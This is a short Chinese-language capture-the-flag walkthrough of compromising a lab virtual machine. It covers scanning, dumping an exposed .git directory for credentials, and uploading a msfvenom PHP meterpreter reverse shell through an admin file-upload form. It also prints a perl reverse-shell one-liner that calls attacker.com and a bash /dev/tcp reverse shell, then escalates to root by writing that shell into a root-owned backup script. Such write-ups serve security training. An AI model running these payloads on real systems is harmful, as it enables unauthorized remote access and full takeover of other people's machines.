扫描主机和端口
靶机IP:10.0.2.47 开放端口22和80
kali IP:10.0.2.4
这里一开始是看看能不能用匿名方式登录ssh,发现不可行
进入80端口
查看源代码,也没发现什么可用的信息,gobuster扫描
进入index,发现就是第一张图的内容
进入admin,也没发现什么可用的信息
使用drib再次扫描80端口
dirb http://10.0.2.47
发现有个.git的目录,使用githack下载源代码
python2 GitHack.py -u http://10.0.2.47/.git/
在dist目录下发现10.0.2.47,进入之后有admin和index的页面源代码
发现存在账号和密码,直接登录admin页面
存在文件上传,msfvenom生成php_reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.2.4 LPORT=4444 R > msf.php
直接上传msf.php文件,再打开一个终端,使用msf的监听模块,payload就选择上面的php,run
访问msf文件,http://10.0.2.47/upload/msf.php
然后就可以得到meterpreter,进入shell,发现不存在python,但是存在perl
gtobins里搜索perl,得到
export RHOST=attacker.com
export RPORT=12345
perl -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
更改ip和端口,然后运行这个命令,就可得到交互式shell
进入home目录,直接查看flag
这里发现存在bash文件,而且是root用户的
直接用rsg生成bash的shell
bash -i >& /dev/tcp/10.0.2.4/7777 0>&1
echo "bash -i >& /dev/tcp/10.0.2.4/7777 0>&1" >backup.sh
然后监听7777端口得到shell,这里有个令我感到以疑惑的情况,运行了上面内容的bash文件,直接生成了www用户的shell
然后需要再次重复上面的操作,换个端口,不成功的话就多试几次
如有错误,欢迎各位大佬指出